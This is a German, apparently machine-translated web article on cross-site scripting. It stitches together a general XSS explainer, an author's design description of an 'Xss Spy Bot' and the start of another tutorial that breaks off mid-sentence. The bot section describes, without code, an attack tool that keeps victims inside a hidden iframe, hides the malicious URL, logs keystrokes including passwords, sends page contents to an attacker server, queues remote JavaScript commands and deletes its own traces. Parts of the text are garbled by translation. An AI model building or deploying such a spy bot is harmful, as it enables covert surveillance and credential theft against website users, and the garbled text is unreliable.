Einfacher Hack: So erhalten Sie Daten durch Cross Site Scripting Inclusion. Optimale Nutzung von XSS-Schwachstellen Xss-Noscript-Warnung

Was ist eine XSS-Sicherheitsanfälligkeit? Sollte ich Angst vor ihr haben?

Cross Site Scripting (kurz XSS) ist eine weit verbreitete Sicherheitsanfälligkeit, die viele Webanwendungen betrifft. Es ermöglicht einem Angreifer, schädlichen Code so in eine Website einzufügen, dass der Browser des Benutzers, der die Website besucht, den Code ausführt.

Das Ausnutzen einer solchen Sicherheitsanfälligkeit erfordert in der Regel eine gewisse Interaktion mit dem Benutzer: Entweder werden sie mithilfe von Social Engineering auf eine infizierte Site gelockt, oder sie warten einfach darauf, dass der Benutzer die Site selbst besucht. Daher nehmen Entwickler XSS-Schwachstellen häufig nicht ernst. Wenn sie jedoch nicht angesprochen werden, können sie eine ernsthafte Sicherheitsbedrohung darstellen.

Stellen wir uns vor, wir befinden uns im WordPress-Admin-Bereich und fügen neue Inhalte hinzu. Wenn wir hierfür ein für XSS anfälliges Plugin verwenden, kann dies den Browser dazu zwingen, einen neuen Administrator zu erstellen, Inhalte zu ändern und andere böswillige Aktionen auszuführen.

Durch Cross-Site-Scripting hat ein Angreifer heutzutage fast die vollständige Kontrolle über die wichtigste Software - den Browser.

XSS: Sicherheitsanfälligkeit bei Injektionen

Jede Website oder Anwendung verfügt über mehrere Einstiegspunkte - Formularfelder bis zur URL selbst. Das einfachste Beispiel für die Dateneingabe ist die Eingabe eines Benutzernamens und eines Kennworts in ein Formular:

Abbildung 1. Dateneingabeformular

Unser Name wird für zukünftige Interaktionen mit uns in der Datenbank der Site gespeichert. Wenn Sie sich auf einer Website angemeldet haben, haben Sie sicherlich eine persönliche Begrüßung im Stil von "Willkommen, Ilya" gesehen. Zu diesem Zweck werden Benutzernamen in der Datenbank gespeichert.

Eine Injektion ist eine Prozedur, bei der anstelle eines Namens oder Kennworts eine spezielle Zeichenfolge eingegeben wird, wodurch der Server oder Browser gezwungen wird, auf eine bestimmte Weise zu reagieren, die der Angreifer benötigt.

Cross-Site-Scripting bezieht sich auf eine Injektion, die Code einfügt, der im Namen einer Website Aktionen im Browser ausführt. Dies kann sowohl mit der Benachrichtigung des Benutzers als auch im Hintergrund ohne sein Wissen geschehen.

Abbildung 2. Ein visuelles Diagramm für Cross-Site-Scripting

Das einfachste Beispiel ist ein rudimentäres Skript, das ein Benachrichtigungsfenster anzeigt. Es sieht aus wie das:

Tabelle 1. Skript, das das Popup-Fenster aufruft

Dieses Skript ruft ein Fenster mit der Aufschrift "THIS IS XSS VULNERABILITY !!!" auf. Der Browser des Benutzers erkennt dieses Skript als Teil des legitimen Codes der Site und führt es aus.

Arten von XSS-Schwachstellen

Nicht alle XSS-Schwachstellen sind gleich, es gibt viele Arten. Hier sind die Typen und wie sie interagieren:

Abbildung 3. Arten von XSS-Schwachstellen

Sicherheitslücken durch serverseitigen Code (Java, PHP, .NET usw.):

Traditionelle XSS-Angriffe:

Reflektiert (unbeständig). Ein reflektierter XSS-Angriff wird ausgelöst, wenn ein Benutzer auf einen speziell vorbereiteten Link klickt. Diese Sicherheitsanfälligkeiten treten auf, wenn von einem Webclient bereitgestellte Daten, meist in HTTP-Anforderungsparametern oder in HTML-Form, direkt von serverseitigen Skripten ausgeführt werden, um eine Ergebnisseite für diesen Client ohne ordnungsgemäße Verarbeitung zu analysieren und anzuzeigen.
Gespeichert (persistent). Gespeichertes XSS ist möglich, wenn ein Angreifer bei jedem Zugriff auf die Originalseite schädlichen Code in einen Server einfügen kann, der im Browser ausgeführt wird. Ein klassisches Beispiel für diese Sicherheitsanfälligkeit sind Foren, in denen HTML-Kommentare zulässig sind.

Sicherheitslücken durch clientseitigen Code (JavaScript, Visual Basic, Flash usw.):

Auch als DOM-Modelle bekannt:

Reflektiert (unbeständig). Wie auf der Serverseite ist der Angriff nur in diesem Fall möglich, da der Code vom Browser verarbeitet wird.
Gespeichert (persistent). Ähnlich wie beim gespeicherten XSS auf der Serverseite wird nur in diesem Fall die schädliche Komponente auf der Clientseite mithilfe des Browserspeichers gespeichert.

Sicherheitslücken in der Infrastruktur (Browser, Plugins, Server usw.):

Sehr selten, aber gefährlicher:

Clientseitige Infrastruktur. Dies tritt auf, wenn eine böswillige Komponente die Browserfunktionalität manipuliert, z. B. den XSS-Filter usw.
Serverseitige Infrastruktur. Tritt auf, wenn der Webserver Anforderungen nicht korrekt verarbeitet und sie geändert werden können.
Netzwerk. Tritt auf, wenn die Kommunikation zwischen einem Client und einem Server infiltriert werden kann.

Benutzerbedingte Sicherheitslücken:

Selbst-XSS. Dies ist häufig das Ergebnis von Social Engineering, wenn ein Benutzer versehentlich schädlichen Code in seinem Browser ausführt.

Was ist die Gefahr von XSS?

Wie können Sie Ihre Site vor XSS schützen? Wie überprüfe ich den Code auf Schwachstellen? Es gibt Technologien wie die Sucuri Firewall, die speziell entwickelt wurden, um solche Angriffe zu vermeiden. Wenn Sie jedoch Entwickler sind, möchten Sie sicherlich mehr darüber erfahren, wie Sie XSS-Schwachstellen identifizieren und beheben können. Wir werden im nächsten Teil des Artikels über XSS darüber sprechen.

Jeder weiß seit langem, dass ein Angreifer mit XSS meistens versucht, ein Cookie an ein Opfer zu senden, CSRF-Token zu lesen, einen Phishing-Angriff auszuführen (indem er ein gefälschtes Anmeldeformular erstellt), eine Aktion im Namen eines Benutzers auszuführen und andere ähnliche Angriffe auszuführen (möglicherweise nicht) alle Möglichkeiten, aber dies sind die beliebtesten, die mir derzeit bekannt sind).

Der Zweck dieser Methode besteht darin, die Seiten im Namen des Benutzers zu überwachen, den er auf der angegriffenen Site aufruft, sowie seine Tastenanschläge zu überwachen (Sie können sich auch bewegen und mit der Maus klicken, aber für mich sind dies unnötige, nicht sehr nützliche Informationen, in den meisten Fällen sicher). ...
Nun zum maximalen Nutzen - ich glaube, der Algorithmus würde so aussehen:

cookies lesen und senden;
lesen und senden Sie den Rest der Informationen (IP-Adresse, installierte Plugins, Browserversion und -typ, Flash-Unterstützung, Silverlight-Unterstützung usw.) [optional]
wir bekommen Informationen über das interne Netzwerk, wir durchbrechen den Router [optional]
verschiedene Token lesen und senden [optional];
wir implementieren Phishing [optional];
etwas "von Hand" "durch den Benutzer tun [optional];
wir spionieren ihn weiterhin aus und extrahieren Informationen, bis er den Tab geschlossen oder die Site verlassen hat.

Alle optionalen Elemente in der Liste sollten abhängig von der Situation und den spezifischen Prioritäten für die mit XSS zu erreichenden Ziele ausgeführt werden. Sie können sich manchmal gegenseitig stören (wenn Sie versuchen, sie genauer zu kombinieren, nacheinander auszuführen) und die Wahrscheinlichkeit eines XSS-Ausnutzungsfehlers erhöhen.
Aber der erste und der letzte Punkt sollten auf jeden Fall immer befolgt werden. Eigentlich wird der Hauptteil des Artikels über den letzten Punkt aus dieser Liste sein.

Wir kommen zum Ziel.

Ich fange von weitem an: Über JavaScript ist es möglich, den Pfad in der Adressleiste zu ändern, ohne die Seite neu zu laden. Zum Beispiel, wenn der Benutzer die Seite unter geladen hat

http://site.com/some/path/to/page/

In der Adressleiste sieht der Inhalt dann wie folgt aus (ohne die Seite neu zu laden):

http://site.com/new-url/

http: //site.com/new-url/

Diese Funktion ist übrigens manchmal sehr nützlich, wenn die URL vor Benutzern (oder einer aufmerksameren Benutzerkategorie - Administratoren) ausgeblendet werden muss, nachdem sie auf den Link mit Reflected XSS geklickt hat, damit sie später nach dem Laden der Seite angezeigt wird in der Adressleiste fand nichts.

http: //site.com/search.php?q\u003d123

http://site.com/search.php?q\u003d123

http: //site.com/search.php?q\u003d123

wir werden ihm diese Gelegenheit nehmen.

Diese Technik hat jedoch noch interessantere und leistungsfähigere Anwendungen. Wir simulieren den Aufenthalt des Benutzers auf der Website, nachdem er auf den Link geklickt hat. Tatsächlich bleibt er die ganze Zeit auf derselben Seite. Zu diesem Zeitpunkt funktioniert ein Skript eines Drittanbieters, das Informationen extrahiert und an den Angreifer sendet. Auf diese Weise, XSS funktioniert so lange, wie der Benutzer dem Link in dieser Domain folgt .

Wir definieren die Idee.

Das allgemeine Funktionsprinzip lautet wie folgt: Wenn ein Benutzer eine Seite mit XSS besucht, erstellt das Skript einen Iframe mit derselben Adresse wie die Seite und "hängt" ihn an den Vordergrund. Der Benutzer hat den Eindruck, dass die Seite normal geladen wird, da Iframe nur im Code angezeigt wird Seiten.

Das Hilfsskript steuert die Logik des Spionage-Bots, dh es überwacht, wann sich die Adresse im Frame ändert, um sie in der Adressleiste zu ändern. Wenn sich jedoch in der neu geänderten Adresse des Frames eine andere Domäne befindet, können Sie sie auf einem neuen vlkadka öffnen, oder Sie müssen die Seite neu laden um nicht verbrannt zu werden.
Damit XSS momentan nicht mehr ausgeführt werden kann, muss der Benutzer die Seite entweder manuell aktualisieren (wenn XSS reflektiert wird und mit der POST-Methode übertragen wurde, wird das Update in anderen Fällen nicht gespeichert, und einige Browser können die POST-Anforderung jetzt beim Aktualisieren der Seite erneut senden) oder Schließen Sie die Registerkarte oder wechseln Sie zu einer anderen Domain (obwohl Sie in diesem Fall dennoch vermeiden können, die Kontrolle zu verlieren).

Wenn er zu einer Subdomain der angegriffenen Domäne wechselt, funktioniert die Auswahl des Angreifers, dh XSS, aber es besteht eine geringe Wahrscheinlichkeit, dass der Benutzer eine Diskrepanz zwischen der Adresse feststellt. Ich denke, dass hier je nach Situation, wenn beispielsweise die Domain google.ru angegriffen wurde, der Nutzer zum Cloud-Dateidienst von Google gegangen ist, der normalerweise in der Subdomain drive.google.ru liegt, und die Wahrscheinlichkeit, dass er den Haken beim Betrachten der Adressleiste bemerkt, ziemlich hoch ist , wenn er diesen Dienst oft nutzte... Andernfalls können Sie es riskieren. Wir müssen jedoch berücksichtigen, dass wir seine Daten nicht aus einem Frame mit einer Subdomain lesen können, da die Cross Origin-Richtlinie dies nicht zulässt. Aber wir können die Hauptdomäne in ihrem Namen im versteckten Modus ruhig erklimmen (weiter unten wird dies ausführlicher beschrieben).

Nur diese Methode hat Einschränkungen, nämlich - sie funktioniert nicht, wenn die Antworten des Webservers der Site einen Header enthalten X-Frame-Optionenmit Bedeutung VERWEIGERN... Aber ich persönlich habe solche Seiten nur ein paar Mal getroffen, jetzt sogar die Hälfte SAMEORIGINnicht ausgesetzt, geschweige denn volle Einschränkung durch VERWEIGERN.

Wir analysieren die Idee.

Jetzt erinnerten sich viele wahrscheinlich an eine so wundervolle Sache wie BeEF, die auch viele interessante Dinge enthält. Übrigens gibt es auch eine Option für die erzwungene Benutzerumleitung im Frame, aber die Adresse in der Adressleiste ändert sich nicht, was den Schreibtisch schnell verbrennen kann und diese Option für andere Zwecke ein wenig dient.
Im Allgemeinen hat BeEF'e fast alles, was Sie brauchen, und sogar viele zusätzliche Funktionen, aber ich persönlich wollte zusätzliche Funktionen, nämlich:

die Fähigkeit, den Code von Seiten, die dem angegriffenen Benutzer zur Verfügung stehen, in Echtzeit zu überwachen;
die Fähigkeit, alles zu sehen, was er auf dieser Site eingibt (von Login und Passwort bis zu Hotkeys und Nachrichten), dh Keylogger auf JS;
die Möglichkeit, Ihrem Bot JS-Befehle in Echtzeit zu erteilen, nachdem Sie den Code der empfangenen Seiten angezeigt haben;
die Fähigkeit, Befehle lokal dem Bot zu überlassen, so dass er sie dann „aufnimmt“ und ohne unsere direkte Teilnahme ausführt;
eine geringere Wahrscheinlichkeit, dass der Bot verbrannt wird, oder die Fähigkeit des Bots, sich vor neugierigen Blicken zu "verstecken";

Wie oben erwähnt, habe ich mich entschlossen, von BeEF eine coole Idee der Befehlsausführungswarteschlange auszuleihen. Zum Beispiel haben wir die Seiten analysiert, die der Bot geworfen hat, als ein privilegierter Benutzer mit gespeichertem XSS in sein Control Panel geklettert ist. Wir überlassen den Befehl dem Bot-JS-Code, wie beim nächsten Eingeben des Benutzers, drücken Sie diese Taste, schreiben Sie diesen Wert hier und so weiter. Wenn dieser Benutzer die Seite das nächste Mal besucht, liest der Bot die Befehle und führt sie aus, und wir müssen überhaupt nicht an seiner Spitze stehen - das ist sehr praktisch.

Grundsätzlich ist ein solcher Bot natürlich für Statusbenutzer einiger Websites gedacht, die über zusätzliche "Hebel" für die Inhaltsverwaltung, andere Benutzer usw. verfügen. Aus den Anforderungen an die Funktionalität geht hervor, dass Sie nicht auf eine Serverseite verzichten können.

Lassen Sie uns die Idee umsetzen.

Im Prinzip kann dieser Teil des Artikels übersprungen werden, da er lediglich den Prozess der Implementierung des gewünschten Bots und einige seiner Details beschreibt, falls jemand ihn neu erstellen oder für sich selbst fertigstellen möchte. Obwohl der Bot am Anfang des Codes Variablen enthält, über die Sie einige Einstellungen vornehmen können.
Zunächst der Algorithmus der Bot-Aktionen ab dem Zeitpunkt des Ladens:

1) Auf Header prüfen X-Frame-Optionen: VERWEIGERN(falls vorhanden, dann die Angelruten aufrollen);
2) Einbetten eines Rahmens und Einrichten aller Komponenten des Bots;
3) Entfernen des Skripts und aller Spuren im HTML-Code;
4) Herstellen eines Kontakts mit der Serverseite und Beginn des Sendens von Daten, Reagieren auf Antworten (Empfangen von Befehlen vom Server);

Der erste Punkt war nicht vollständig abgeschlossen, dh der Bot überprüft nur die erste Seite und den Stammkopf. Tatsache ist, dass diese Header normalerweise vom Webserver für alle Seiten gleichzeitig eingebettet werden und es sehr selten vorkommt, dass alles "manuell" für eine separate Seite ausgeführt wird. Und dieser Titel selbst ist ziemlich selten. Nun, zum zweiten und dritten gibt es nichts Besonderes zu sagen, alles wird niedriger sein.

Es gibt einen relativ wichtigen Punkt, dass Sie vor dem Hinzufügen des Bot-Skript-Codes in Ihrem Code die XSS-Zeichen in der Adressleiste sofort (aus dem JS-Code) entfernen müssen, da dies die Erkennungswahrscheinlichkeit verringert und vor allem die Rekursion verhindert, die auftritt, wenn dem Frame eine Adresse hinzugefügt wird mit demselben XSS-Code, der wiederum einen anderen Frame mit sich selbst erstellt, und so weiter.

Nur für den Fall, dass der Bot-Code die Möglichkeit implementiert, eine solche Frame-Rekursion zu erkennen und beim ersten Versuch, einen Frame zu einem bereits erstellten Frame hinzuzufügen, zu verhindern, ist es besser, sich nicht nur darauf zu verlassen, sondern den Code vor dem Laden des Bot-Codes zusätzlich zu löschen. Obwohl ich noch keine Probleme getroffen habe.

Frame Update Check Funktion. Ich habe verschiedene Möglichkeiten ausprobiert, um dieses Problem wirtschaftlich zu lösen, indem ich Event-Handler anhängte contentWindowoder contentDocumentDa jedoch nichts erfolgreich war, musste ich eine Funktion schreiben, die die Adresse des Frames überprüft und mit der zuvor gespeicherten vergleicht und auf dieser Grundlage entscheidet, ob der Frame aktualisiert wird (ob sich die Adresse geändert hat) und sich dann rekursiv selbst aufruft.

Die Häufigkeit solcher Überprüfungen pro Sekunde wird durch eine Variable gesteuert verzögern, die am Anfang der Bot-Code-Datei angegeben wird. Aber später, nachdem ich es bereits geschrieben hatte, fand ich eine effizientere Lösung - verwenden Sie eine einfache Lösung und hängen Sie onloadpro Frame, also habe ich diese Funktion verlassen, sie aber auskommentiert, falls sich später herausstellt, dass sie gefragter ist.

Senden des HTML-Codes der Seite.

Hier ist das Schema recht einfach: Nach jedem erneuten Laden des Frames (einschließlich des ersten Ladens) sendet der Bot den gesamten HTML-Code der Seite zusammen mit seiner aktuellen Adresse an den Server, damit Sie später unterscheiden können, ob der Code zu den erforderlichen Seiten gehört.

Die Logik zum Speichern von Seiten ist auf dem Server implementiert. Der Server für jede Domäne erstellt einen Ordner mit dem Namen dieser Domäne, und wir speichern alle Daten dort. Seitencodes werden gespeichert und ständig auf die neuesten Versionen aktualisiert. Jeden neuen Tag wird jedoch eine neue Kopie der Seite erstellt, damit Sie den Versionsverlauf bei Bedarf steuern können. Das heißt, für /news.phpAm 1. September wird der Status aktualisiert und am 2. September wird eine Kopie davon erstellt, die nur für diesen Tag und damit jeden Tag erneut relevant ist (wenn der Benutzer diese Seite jeden Tag besucht). Der Seitenname besteht aus dem Datum und dem Pfad zu dieser Seite relativ zum Site-Stammverzeichnis (dh ohne Domain).

Keylogger in JavaScript.

Die Idee wurde bereits von einigen Enthusiasten umgesetzt, aber für mich passten ihre Entwicklungen nicht, schon weil die meisten von ihnen recht einfach waren, dh sie erkannten den Code der gedrückten Taste und durch String.fromCharCodein Symbole übersetzt. Diese Methode hat jedoch eine Reihe von Nachteilen: Steuertasten wie Shift, Control, Space usw. werden nicht in irgendeine Form übersetzt (oft nur ein leeres Zeichen), die Interaktion von alphanumerischen Tasten mit der Shift-Taste wird falsch protokolliert, da dies programmgesteuert implementiert werden muss und Außerdem werden alle gedrückten Tasten in Großbuchstaben angezeigt, die auch programmgesteuert korrigiert werden können.

Das Ergebnis war ein Keylogger, der alle Tasten mit Zahlen, Buchstaben und Grundzeichen korrekt erkannte, an beiden Layouts arbeitete, auf die Verschiebung reagierte und alle wichtigen Sondertasten protokollierte. Einige Zeichen (im oberen Teil der digitalen Zeile, die gedruckt werden, wenn die Umschalttaste und die Nummer gedrückt werden) können auf einigen Computern abweichen, da sie gemäß dem Hauptstandard implementiert wurden, den einige Unternehmen für einige ändern.
Jeder Teil der gedrückten Zeichen wird vom Client beibehalten, bis das Textelement den Fokus verliert. Dieser Teil wird dann an den Server gesendet, wo er in einer Textdatei gespeichert wird, die ebenfalls jeden Tag mit einer neuen Kopie erstellt wird, sodass keine großen Größen entstehen und Sie schnell feststellen können, was der Benutzer zu einem solchen Zeitpunkt eingegeben hat.
Zusätzlich zu den Schlüsseln selbst werden mit jedem Teil (dh war es) Informationen über das Element gesendet, in das der Text eingegeben wurde , [ </i>oder einige <i><body> </i>wenn der Benutzer Hotkeys verwendet hat, werden zusätzlich zum Namen des Elements seine Basisdaten (ID, Name, Klasse - falls vorhanden) gesendet, damit sie dann leicht im Code gefunden werden können. Und natürlich werden die Adresse der Seite, auf der sich ein Satz befand, und die ungefähre Zeit dieses Satzes aufgezeichnet. Im Allgemeinen werden die Informationen über den Benutzer, der an die Tastatur klopft, für die nachfolgende Analyse ausreichend gesendet.</p> <h3><span><u><b>Kommandiere deinen Bot.</b> </u> </span></h3> <p>Dieser Vorgang kann von einem Angreifer oder auf der Seite ausgeführt werden, auf der der Serverteil des Bots ausgeführt wird, oder sogar remote. Nach dem Starten des Serverskripts wird ein selbstgeschriebener Miniatur-Webserver gestartet, der die Anforderungen des Bots und seines Controllers erfüllt und über die Weboberfläche arbeitet. Das heißt, nach dem Start gibt der Webserver einen Link aus, indem Sie darauf klicken, um dem Bot Befehle zu erteilen.</p> <p>Über dieses Bedienfeld. Zunächst musste es mit einem Kennwort eingeschränkt werden (der Pfad und nur wenige Personen kennen den laufenden Dienst an diesem und jenem Port oder die Adresse, unter der Sie sich anmelden müssen, um diesen Dienst nutzen zu können), damit Sie beim ersten Aufrufen des Servers nach einem angegebenen Kennwort gefragt werden In der Adressleiste (ein Beispiel wird bereitgestellt) wird das ursprüngliche Passwort in gespeichert <i>password.txt</i>das kann geändert werden. Nach dem ersten Besuch weist der Webserver den Browser an, das Kennwort in einem Cookie zu speichern, sodass Sie sich darüber keine Sorgen mehr machen müssen.</p> <p>Auf der Seite zum Senden von Befehlen an den Bot selbst finden Sie auch Informationen zum Status des Bots - ob er gerade online oder offline ist - sowie einige Einstellungen, von denen die erste der Host ist, dh die IP-Adresse oder Domäne der Site, an die die Befehle an den Bot gesendet werden. Dies ist für den Fall gedacht, dass mehrere Sites diesen Bot enthalten, damit sie identifiziert werden können. Auf dem Server werden auch in diesem Fall alle Daten in Ordner mit Domänennamen unterteilt. <br> Als nächstes folgt das Fenster, in das Befehle in JS in den Bot geschrieben werden sollen, und die Option, mit der festgelegt wird, wo dieser JS-Code ausgeführt wird, im Hauptfenster, in dem sich der Bot befindet, oder in einem Frame.</p> <p>Wenn der Bot nicht online ist, speichert der Server die Befehle einfach und später, wenn der Bot online geht, dh der Benutzer besucht die Seite damit erneut oder folgt dem Link des Angreifers - diese Befehle werden ausgeführt. <br> Dies ist sehr praktisch, wenn der Bot während der ersten Erkundung alle vom Benutzer besuchten Seiten (z. B. ein persönliches Konto) verworfen hat, nachdem er den Code untersucht hat, dessen Befehle wir in JS kompiliert haben, damit der Bot später auf die benötigten Links klickt, die erforderlichen Daten eingibt, die erforderlichen Bilder anzeigt usw., was hilfreich ist das gesetzte Ziel erreichen.</p> <p>Oder Sie können direkt in Echtzeit den Inhalt der Seiten schnell durch den Code betrachten und den Bot-Befehlen geben, um den Code anderer Seiten zu senden, zu einer anderen Adresse zu wechseln usw. Und all dies wird "hinter dem Bildschirm" vom Benutzer erledigt, der ruhig weiter surft Seite durch den Rahmen.</p> <p>Zur Vereinfachung können Sie die am häufigsten verwendeten Anweisungen in ganze Funktionen in JS umwandeln, die dann in die Quelldatei-Bots eingegeben werden können ( <i>xsb.js</i>wird die Dateistruktur weiter unten erläutert) und verwendet. Oder verwenden Sie die Funktionen, die in den Bot eingebettet sind, obwohl es nur die Basis und nichts Neues gibt. Sie können jedoch beispielsweise die Funktion zum Senden des Seitencodes jederzeit verwenden und nicht, wenn der Frame neu geladen wird. Sie können eine Funktion schreiben, die die an sie übergebenen Links in neuen Frames im Hintergrund öffnet, um den Inhalt mehrerer Seiten im Namen des Benutzers anzuzeigen (und diesen Inhalt mit seinen virtuellen Händen zu bedienen).</p> <h3><span><u><b>Eigenen Code entfernen.</b> </u> </span></h3> <p>Nun, die letzte Funktion ist ganz einfach implementiert (sie kann durch Einstellen der gewünschten Variablen in der Datei deaktiviert werden, sie werden auskommentiert). Das Skript löscht sich selbst, nachdem alle Ereignishandler eingerichtet und aufgehängt und alle Variablen und Funktionen erstellt wurden</p> <p>Immerhin wurden alle Daten bereits über den Browser in den Arbeitsspeicher geladen, sodass Sie sich keine Sorgen machen müssen. Theoretisch gibt es jedoch später einige Probleme, die ich nicht berücksichtigt habe. Deshalb habe ich eine Variable angegeben, die von deaktiviert werden kann Notwendigkeit.</p> <p>Nach dem Entfernen aller Skripte ist es äußerst schwierig, XSS zu bemerken, da das Vorhandensein eines Frames nicht ganz indirekt darüber spricht und der Code selbst nur in den Protokollen des Netzwerkverkehrsverlaufs des Browsers zu finden ist (die in vielen Browsern nicht standardmäßig gespeichert sind, wenn das Entwicklerfenster nicht geöffnet ist). ...</p> <h3><span><u><b>Serverteil.</b> </u> </span></h3> <p>Um den Bot einfacher und bequemer zu starten, wurde beschlossen, meinen eigenen kleinen Webserver auf Sockets zu schreiben, die den Bot bedienen, alle Vorgänge zum Empfangen und Platzieren der gesendeten Daten bereitstellen, Nachrichten zwischen dem Angreifer und dem Bot übertragen und eine Webschnittstelle zum Befehlen des Angreifers erstellen ... <br> Der Server wurde in Python geschrieben. Ich habe versucht, nur Standardbibliotheken zu verwenden, damit ich vor dem Start nichts installieren musste. Außerdem bearbeitet der Server selbst einige Daten in den Skripten, dh im JS-Skript des Bots müssen Sie die Adresse des Befehlsservers nicht festlegen. Der Webserver selbst legt beim Start die erforderliche Adresse dort ab. In der Serverkonfiguration gibt es nur einen Parameter - den Port, an dem er gestartet wird (standardmäßig 8000). <br> Nach dem Start zeigt der Server alle erforderlichen Daten an - eine Verknüpfung zum JS-Skript, das entfernt werden muss, eine Verknüpfung zur Befehlsleiste oder zur Vereinfachung Verknüpfungen zu externen und lokalen Adressen.</p> <h3><span><u><b>Schema der Arbeit mit einem Bot.</b> </u> </span></h3> <p>Wir starten den Server an einem nicht beanspruchten Port und Sie können einen Link mit einem Bot-Skript senden. Jeder, der ihm folgt, sendet Ihnen Daten, die der Server zu jeder Tageszeit speichert. Dann können Sie sie einfach anzeigen, wenn Sie das Team dem Bot überlassen und ihre Geschäfte fortsetzen müssen.</p> <h3><span><u><b>Dateistruktur.</b> </u> </span></h3> <p>Der Ordner enthält die folgenden Dateien:</p> <ul><li><b>xsb.py.</b>- die Hauptdatei, die die Serverseite implementiert, damit der Bot sie ausführen kann, und dann einfach den von ihm angebotenen Link verwendet;</li> <li><b>xsb.js</b>- Hier wird der JS-Code des Bots gespeichert, dessen Link vom Server ausgegeben wird. Zu Beginn werden Konfigurationsvariablen deklariert, die nach eigenem Ermessen geändert werden können (einige, nämlich der Host und der Port, werden vom Server selbst festgelegt, Sie müssen sich keine Sorgen machen).</li> <li><b>panel.html</b>- Von hier aus übernimmt der Server den Code für das Bot-Control-Panel. Sie können die Benutzeroberfläche nach eigenem Ermessen anpassen.</li> <li><b>password.txt</b>- Hier ist das Passwort vom Bedienfeld gespeichert, das geändert werden kann.</li> <li><b>savedData</b>- Dies ist ein Verzeichnis, in dem Ordner mit Site-Domänen erstellt werden, in denen alle Informationen gespeichert werden.</li> </ul><p>Ich stelle das noch einmal in der Datei fest <i>xsb.js</i>sie können Ihre eigenen Funktionen hinzufügen, die dann über das Bedienfeld aufgerufen werden, ohne große Teile des Codes zu schreiben.</p> <h3><span><u><b>Eine kleine Analyse der Ergebnisse.</b> </u> </span></h3> <p>Nachdem ich meine eigene erfundene Methode geschrieben habe, um einen Benutzer mit XSS durch Frames auf einer Seite zu halten (nun, als erfundene - ich habe sie persönlich für mich entdeckt, ist es durchaus möglich, dass jemand anderes diese Technik für sich selbst „erfunden“ hat oder sie im Allgemeinen bereits irgendwo in der Öffentlichkeit ist leuchtete, weil es jetzt ziemlich schwierig ist, etwas wirklich Neues zu entwickeln, und in der Regel habe ich nach einiger Zeit festgestellt, dass „es bereits in den Simpsons war“), begann ich mich eingehender mit BeEF zu befassen und sein Wiki zu lesen. Dann entdeckte ich, dass dort eine andere Technik implementiert wurde, um das gleiche Ziel zu erreichen - die Zeit des Benutzers auf der Seite mit dem ausführbaren XSS (das dort aufgerufen wurde) zu verlängern <i>mann im Browser</i>). Und es wurde wie folgt implementiert: Alle Links auf der Startseite wurden so geändert, dass das Skript beim Klicken auf einen der Seiten die Seite nicht neu lud, sondern über Ajax eine Anfrage an den Server sendete und die in der Antwort empfangenen Daten einfügte, dh wir konnten sagen, dass sie auch künstlich aktualisiert wurden fast nicht von einer regelmäßigen Auffrischung zu unterscheiden.</p> <p>Daher war ich nicht der erste, der diese Idee umsetzte (auch wenn die Methoden unterschiedlich waren). Beide Methoden haben jedoch ihre Nachteile:</p> <p>Upload-Methode über <iframe> funktioniert nicht, wenn die Antwort einen Header enthält <i>X-Frame-Optionen: VERWEIGERN</i>, aber ansonsten pflügt wie ein normales Browserfenster;</p> <p>Die Ajax-Methode funktioniert immer, wenn der Browser sie unterstützt (jetzt unterstützen sie alle gängigen Browser). Mit dem neuen Web 2.0-Standard werden jedoch immer mehr Übergänge durch benutzerdefinierte Ereignisse von Elementen über JS ausgelöst. Einmal ging ich zu Google AdWords und beschloss zu sehen, wie HTML und JS dort interagieren, da alle meine Spinnen beim Erstellen einer Karte dieses Dienstes äußerst schlecht waren. Und ich habe den ganzen Abend leise versaut, wie viel es dort nicht üblich war, wenn Textelemente Schaltflächen und Schalter und Schieberegler waren und was sie einfach nicht darstellten, und an jedem hingen ungefähr 30 verschiedene Event-Handler.</p> <p>Das heißt, auf einer ausgefallenen Site wird die Übergangstaste (subjektiv ein Link) durch ein reguläres Tag implementiert <i><span> </i>, die mit Stilen geladen ist und an denen Event-Handler hängen, von denen einer zum Beispiel <i>onclick leitet den Benutzer auf eine andere Seite weiter. Es gibt auch Standardelemente wie [i] <input type=button> </i>oder ich <i><button> </i>und so weiter, die eigentlich auch Links zu anderen Seiten sind, auf die BeEF jedoch nicht reagiert und die Seite einfach nicht aktualisiert wird, wenn Sie auf die meisten Schaltflächen und andere Elemente klicken. Dies kann den Benutzer dazu veranlassen, die Seite zu aktualisieren oder "von der anderen Seite" erneut zu besuchen, wodurch unsere aktive XSS-Sitzung beendet wird.</p> <p>Der Kürze halber habe ich die Dateien Xss Spy Bot genannt.</p> <p>P.S. <br> Das Schreiben des Ganzen dauerte etwas mehr als einen Monat, da es regelmäßig an Zeit mangelte und ständig abgelenkt wurde. Auch aus diesem Grund ist die Qualität des Codes und die Wahrscheinlichkeit, auf einen Fehler zu stoßen, ziemlich hoch. Deshalb bitte ich Sie, nicht zu viel zu schwören, sondern sich abzumelden, was mit jemandem nicht stimmt, damit Sie es beheben können. <br> Ich selbst habe den Bot auf nur 4 Maschinen getestet, alle hatten Debian.</p> <p>Wenn es in den langfristigen Plänen für diesen Bot Motivation gibt: <br> - das Rendern des Codes der Seiten, die der Bot an den Server sendet, so zu implementieren, dass er sofort im Browser geöffnet wird und im laufenden Betrieb „gefühlt“ werden kann; <br> - Sie werden versuchen, die Vorteile der WebRTC-Technologie zu nutzen, dh Wege zu finden, um neue Informationen zu erhalten, die mit reinem JS nicht abgerufen werden können. <br> - Implementierung der Kommunikation zwischen dem Bot und dem Server über das WebSocket-Protokoll über HTTP; <br> - dem Bedienfeld etwas Komfort verleihen;</p> <ul><li>1.Was ist XSS?</li> <li>2.XSS-Ansichten</li> <li>3. Funktionen von DOM-basiertem XSS</li> <li>4.XSS Auditor</li> <li>5 Beispiele für die XSS-Nutzung</li> <li>6.Suchen Sie Websites, die für XSS anfällig sind</li> <li>7. Programme zum Suchen und Scannen von XSS-Schwachstellen</li> </ul><h2>Was ist XSS?</h2> <p>Cross-Site Scripting (XSS) ist eine Sicherheitsanfälligkeit, bei der clientseitiger Code (JavaScript) in eine Webseite eingefügt wird, die andere Benutzer anzeigen.</p><p>Die Sicherheitsanfälligkeit ergibt sich aus einer unzureichenden Filterung von Daten, die der Benutzer zum Einfügen in eine Webseite einreicht. Mit einem bestimmten Beispiel ist es viel einfacher zu verstehen. Denken Sie an jedes Gästebuch - dies sind Programme, die Daten vom Benutzer akzeptieren und dann anzeigen. Stellen wir uns vor, das Gästebuch überprüft oder filtert die Eingabedaten in keiner Weise, sondern zeigt sie einfach an.</p> <p>Sie können Ihr einfachstes Skript skizzieren (es gibt nichts Einfacheres, als schlechte Skripte in PHP zu 